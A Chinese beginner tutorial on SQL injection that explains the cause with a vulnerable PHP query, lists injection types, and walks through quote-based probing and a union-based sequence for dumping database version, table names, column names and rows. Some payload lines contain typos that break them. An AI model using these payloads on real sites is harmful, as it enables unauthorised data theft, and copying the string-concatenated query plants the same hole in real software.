渗透入门 _SQL 注入

作者：GuiZi
原文链接：https://ld246.com/article/1648046031820
来源网站：链滴

sql注入原理

sql注入就是指web应用程序对用户输入的数据合法性没有过滤或者判断，前端传入的参数是攻击者以控制的，并且参数可以带入数据库中执行，攻击者可以通过构造恶意的sql语句来实现对数据库进任意操作

```
#$id= 1
$id = $_GET['id']
$sql = 'select * from user where id ="$id" limit 0,1'
#查找user表中id=1的第一行数据
```

sql注入漏洞产生的条件：

- 参数用户可控：前端传入的参数由用户控制
- 参数带入到数据库语句中执行：传入的参数拼接到SQL语句中，并带入数据库中执行

sql注入类型

按注入点分：

- 数字型
- 字符型
- 搜索

按提交方式分：

- GET
- POST
- HEAD
- COOKIE

按执行效果分：

- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 联合查询注入

总结来说有：

联合注入，布尔注入，报错注入，时间注入，堆叠注入，二次注入，宽字节注入，cookie注入..

如何判断测试点是否存在sql注入

GET型：

1.在url链接中附加一个单引号，如：

http://xxx.xxx.xxx/abc.php?p=1'

此时abc.php中的SQL语句变成了

```
select * from 表名 where p = '1''
#结果为abc.php运行异常
```

2.在url链接中附加字符串'and 1=1，如：

http://xxx.xxx.xxx/abc.php?p=1' and 1=1

测试结果为abc.php正常运行，以及结果与http://xxx.xxx.xxx/abc.php?p=1'的结果一致

3.在url中附加字符串'and 1 = 2，如：

http://xxx.xxx.xxx/abc.php?p=1' and 1=2

结果为abc.php运行异常

以上三种情况可测试abc.php中是否存在SQL注入漏洞

GET类型无防护注入

```
#预估的sql语句
select * from user where id =1
#判断这个user表，查询的出来的内容有多少个字段
select * from user where id =1 order by 4
#判断到字段数为4个，就可以利用union来查询显示位(id=-1是让页面显示我们后面查询的1,2,3,4，此判断哪些会位置会在页面显示)
select * from user where id =-1 union select 1,2,3,4
#拿敏感数据([version():版本信息],[database():数据库名])
select * from user where id =-1  union 1,2,version(),database()
#获取当前数据库中的一些表信息--->爆表
union 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=atabase()
#获取所需表中的字段-->爆字段
union 1,2,3,group_concat(column_name) from informatioin_schema.columns where table_schma=database() where table_name = '所需表的名字'
#获取表中的值
union 字段1,字段2,字段3,字段4 from 表名 limit 0，1
```